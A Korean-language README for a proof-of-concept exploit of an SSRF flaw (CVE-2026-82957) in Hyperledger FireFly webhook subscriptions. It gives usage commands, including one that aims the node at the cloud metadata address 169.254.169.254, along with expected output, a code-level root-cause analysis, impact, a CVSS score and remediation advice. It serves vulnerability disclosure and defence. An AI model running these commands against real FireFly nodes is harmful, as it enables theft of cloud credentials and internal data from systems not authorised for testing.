
CVE-2026-82957에 대한 개념 증명 익스플로잇으로, Hyperledger FireFly 웹훅 구독에서 발생하는 SSRF 취약점으로, 노드가 내부 또는 클라우드 메타데이터 URL을 요청하도록 강제합니다.
Hyperledger FireFly Core의 webhooks 이벤트 전송 방식에서 발견된 서버 측 요청 위조(CWE-918)인 CVE-2026-82957에 대한 개념 증명 익스플로잇입니다. 이벤트 구독을 생성할 수 있는 모든 클라이언트는 대상 URL이 전혀 검증되지 않는 웹훅을 등록할 수 있으며, 일치하는 이벤트가 발생하면 FireFly 노드 자체가 HTTP 요청을 발행합니다. 이를 내부 전용 주소(클라우드 메타데이터, 루프백, RFC1918 서비스)로 향하게 하면 노드가 혼동된 대리인(confused deputy)으로 전락합니다.
Python 3 표준 라이브러리만 필요하며, 의존성은 없습니다.
$ python3 cve_2026_82957.py --help
1단계 — FireFly 노드가 요청을 보내야 하는 머신(SSRF 대상)에서 리스너를 시작합니다:
$ python3 -m http.server 8000 --bind 0.0.0.0
2단계 — 익스플로잇을 실행합니다. -t는 FireFly API 기본 URL이고, -u는 노드가 강제로 요청하게 될 URL입니다:
# Point at your listener (host as seen from the FireFly container)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://<host-ip>:8000/PWNED
# Arbitrary internal target (cloud metadata, internal service, etc.)
$ python3 cve_2026_82957.py -t http://target:5000 -u http://169.254.169.254/latest/meta-data/
# Non-default namespace
$ python3 cve_2026_82957.py -t http://target:5000 -n default -u http://<host-ip>:8000/PWNED
Docker에서 실행 중인 FireFly 노드의 경우, <host-ip>는 브리지 네트워크 게이트웨이입니다 — docker network inspect <network>로 확인할 수 있습니다 (IPAM.Config.Gateway 필드, 예: 172.21.0.1).
예상 출력:
[*] Step 1: creating webhook subscription with unvalidated internal URL
[+] Subscription accepted (201) - id 9bd2bbb9-... - host was NOT validated
[*] Step 2: triggering event to fire the webhook
[+] Broadcast accepted (202)
[!] The FireFly node has now issued the request itself.
리스너 로그 — 소스 IP는 공격자 머신이 아닌 FireFly 노드의 컨테이너 IP이며, 이는 요청이 서버에 의해 위조되었음을 증명합니다. SSRF 확인됨:
172.21.0.8 - - [12/Oct/2026 17:46:47] "GET /PWNED HTTP/1.1" 404 -
215c69181("Base implementation of webhooks invocation", 2021-06-20)에서 도입됨e3c9b8d89(main)에도 여전히 존재 — 두 커밋 사이에 호스트 검증을 추가한 커밋은 없음파일: internal/events/webhooks/webhooks.go
| 줄 | 코드 | 문제 |
|---|---|---|
| 191 | url: options.GetString("url") | 대상이 사용자 입력에서 그대로 가져옴 |
| 266 | ValidateOptions(...) | 형식/헤더/타임아웃은 검증하지만 호스트는 절대 검증하지 않음 |
| 394 | req.r.Execute(req.method, req.url) | 요청이 실행됨 |
확인된 목적지에 대한 허용 목록/차단 목록이 없음: 루프백, 사설(RFC1918), 링크 로컬(169.254.0.0/16) 주소에 대한 차단이 없으며, 호스트와 스킴 모두 공격자가 완전히 제어할 수 있음. FireFly는 기본적으로 API 인증 플러그인을 제공하지 않으므로 구독 생성이 인증 없이 가능할 수 있음.
POST /api/v1/namespaces/{ns}/subscriptions — 악성 웹훅을 생성함(내부 URL에 대해 201 Created 반환)POST /api/v1/namespaces/{ns}/messages/broadcast) — 위조된 요청을 트리거함CWE-918 서버 측 요청 위조(SSRF). 공격자는 다음을 할 수 있음:
169.254.169.254)에서 클라우드 자격 증명을 읽음 → 클라우드 계정으로 권한 상승"reply": true 설정 시 내부 응답이 FireFly 이벤트로 공격자에게 반환됨 — 블라인드가 아님~8.5 High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N — 심각도는 API가 인증 뒤에 있는지 여부에 따라 달라짐.
ValidateOptions에서 URL을 파싱하고 호스트를 확인한 뒤 루프백/사설/링크 로컬/미지정 주소를 거부하고, 스킴을 http/https로 제한하며, DNS 리바인딩을 방지하기 위해 연결 시점에 확인된 IP를 다시 검사(사용자 정의 DialContext)해야 함. 가급적 허용된 웹훅 호스트의 설정 가능한 허용 목록을 제공해야 함.
이 도구는 교육 및 연구 목적으로만 사용됩니다. 소유한 시스템 또는 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하십시오. 작성자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임지지 않습니다.
QuimeraX Intelligence는 복잡한 시스템의 중대한 취약점을 식별하는 데 특화된 고급 EASM 및 사이버 위협 인텔리전스 플랫폼입니다. 이 플랫폼은 보안 위협을 사전에 모니터링하고 탐지하며 고객에게 경고하여 투명성과 잠재적 위험에 대한 신속한 대응을 보장합니다. 고객의 시스템이 취약한 것으로 확인되면 즉시 알림과 종합 보고서를 받아 보호 조치를 취할 수 있습니다. 자세히 알아보기
Hakai Security는 보안 전문가들이 설립한 사이버 보안 회사로 기술적 탁월성에 전념하고 있습니다. 고급 침투 테스트, 현실적인 레드 팀 시뮬레이션, 안전한 개발 관행 등 맞춤형 보안 솔루션을 제공하여 진화하는 사이버 위협으로부터 고객의 자산을 사전에 보호합니다.
Hacking Club은 보안 컨설팅 회사에서 근무하는 전문가들이 만든 실습 수업, 랩, 챌린지를 통해 사이버 보안을 배우는 교육 플랫폼입니다. 실제 현장에서 바로 교육으로 이어집니다.